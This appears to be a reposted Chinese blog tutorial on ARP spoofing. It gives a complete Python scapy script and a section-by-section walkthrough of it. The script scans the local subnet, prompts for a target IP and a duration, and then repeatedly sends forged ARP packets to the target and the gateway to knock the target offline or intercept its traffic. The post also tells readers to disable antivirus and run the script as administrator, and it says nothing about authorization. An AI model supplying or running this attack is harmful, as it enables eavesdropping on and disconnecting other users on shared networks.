本文共 3643 字,大约阅读时间需要 12 分钟。
看标题可能比较高大上,但是实际上需要一个前提条件:处在同一个内网环境下,通俗的意义上讲可以是在同一个WiFi下,但是内网的含义不止如此,想要了解的可以自行百度,这里不作补充
首先介绍一下原理
这里我们需要介绍一下ARP协议以及ARP攻击的实现方式ARP(Address Resolution Protocol)地址解析协议,目的是实现IP地址到MAC地址的转换。
计算机在进行通信的时候,唯一标识是出厂就设置好的MAC地址(这个MAC不是苹果公司下的MAC产品),但是网络层传输需要用到IP,于是便需要这个IP地址跟MAC地址的互相转换的协议(看不懂没关系)。ARP攻击的原理
计算机在接入WiFi时,路由器会告诉接入的计算机网关的IP是多少(一般是xxx.xxx.xxx.1或者xxx.xxx.xxx.254),因为计算机特别是现在的笔记本电脑,需要在多个网络环境下进行工作,比如白天在公司(在学校),晚上在家(在寝室),不同的路由器设置的网关不一定一样,所以计算机内部识别网关是动态的(一般情况下)。 这里假设网关是192.168.1.1,攻击机是192.168.1.10,靶机是192.168.1.20 于是这里利用网关的漏洞,攻击机向靶机不断发送192.168.1.10是你的网关
这样的信息,欺骗靶机,因为网关的识别是动态的,所以靶机就以为192.168.1.10
是它的网关,就将需要传向互联网的信息传给攻击机。 同理,攻击机也欺骗网关,不断发送我是192.168.1.20
,于是网关就相信了它就是192.168.1.20
说的可能比较难懂,大家可以理解为不断洗脑的结果,于是攻击机就开始成为了靶机和网关之间的一个代理
,所有靶机需要传到互联网的信息都会经过攻击机,所有互联网需要传给靶机的信息也会经过攻击机。 那么,攻击机就可以做到监听靶机的信息,或者把信息掐断不作转发,那靶机就断网了。 以下开始上代码: 全部代码如下,接下来开始分部讲解
import osimport timefrom scapy.all import *def scan2spoof(): netcard = 'Intel(R) Wireless-AC 9461' #攻击网卡 cmdcode = 'route print' #执行cmd,获得当前主机ip和网关 for line in os.popen(cmdcode): #通过line获得ipv4和网关 s = line.strip() if s.startswith("0.0.0.0"): iplist = s.split() wg = iplist[2] #网关 ip = iplist[3] #ip print("网卡是:{}".format(netcard)) print("ip是:{}".format(ip)) print("网关是:{}".format(wg)) #封装一个ARP形式的数据包,符合以太网格式 arppk = Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=wg+"/24") ansip,unansip = srp(arppk,iface=netcard,timeout=2,verbose=0) print("在线主机:{}".format(len(ansip))) print("不在线主机:{}".format(len(unansip))) ansersip = [] for s,r in ansip: ansersip.append([r.psrc,r.hwsrc])#ip,mac ansersip.sort() #去重排序 for ip,mac in ansersip: print(ip , "--->" , mac) #抓包,代理 #阻断网络 vip = input("请输入需要攻击的ip:") ttl = int(input("请输入需要攻击的时间(秒):")) #一下实现ARP攻击即可 for i in range(ttl*5): sendp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=vip,psrc=wg),verbose=0) sendp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vip),verbose=0) time.sleep(0.2) print("对{}的ARP攻击完成".format(vip))if __name__ == "__main__": scan2spoof()
import osimport timefrom scapy.all import *
这里先导入需要用到的包,scapy包需要自行下载,在cmd下的命令为
pip install scapy
,pip不能用的同学可以尝试python -m pip install scapy
netcard = 'Intel(R) Wireless-AC 9461' #攻击网卡cmdcode = 'route print'
这里设置一下攻击网卡,可以在cmd下输入route print
命令,用来输出网卡信息以及路由表信息,这里大家瞄准Wireless
就对了
for line in os.popen(cmdcode): #通过line获得ipv4和网关 s = line.strip() if s.startswith("0.0.0.0"): iplist = s.split() wg = iplist[2] #网关 ip = iplist[3] #ip print("网卡是:{}".format(netcard)) print("ip是:{}".format(ip)) print("网关是:{}".format(wg))
os.popen()
是执行cmd命令的意思,执行之后,利用循环开始读取我们需要的信息
0.0.0.0
开头,所以利用startswith()
函数来搞定。并且利用split()
函数来以空格为标识进行分开组成列表。这里网关在第三个,ip在第四个。但是列表是从0开始的,所以网关是list[2],ip是list[3]。 #封装一个ARP形式的数据包,符合以太网格式arppk = Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=wg+"/24")ansip,unansip = srp(arppk,iface=netcard,timeout=2,verbose=0)print("在线主机:{}".format(len(ansip)))print("不在线主机:{}".format(len(unansip)))ansersip = []for s,r in ansip: ansersip.append([r.psrc,r.hwsrc])#ip,macansersip.sort() #去重排序for ip,mac in ansersip: print(ip , "--->" , mac)
这里先封装一个符合以太网形式的数据包,先探测自己所在网段的所有主机,这里我的ip是192.168.1.128
,于是我将发送数据包给192.168.1.2--192.168.1.255
这几个主机,如果主机处于运行状态,将给我一个回应,否则便是处于关机状态。
#抓包,代理#阻断网络vip = input("请输入需要攻击的ip:")ttl = int(input("请输入需要攻击的时间(秒):"))#一下实现ARP攻击即可for i in range(ttl*5): sendp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=vip,psrc=wg),verbose=0) sendp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vip),verbose=0) time.sleep(0.2)print("对{}的ARP攻击完成".format(vip))
这里for循环里面,分别对你想攻击的ip发送虚假数据包,并且向网关发送虚假数据包,那靶机就断网了。休眠0.2秒以后再继续发送。如果休眠时间太长,那么会导致靶机断断续续的连上网络。
到此代码分析结束,各位同学在执行前请关闭你们的杀毒软件,不然可能实验不了.
还是不行的话,可以尝试将cmd用管理员身份打开,然后切换到脚本所在目录执行脚本~转载地址:http://gtpbi.baihongyu.com/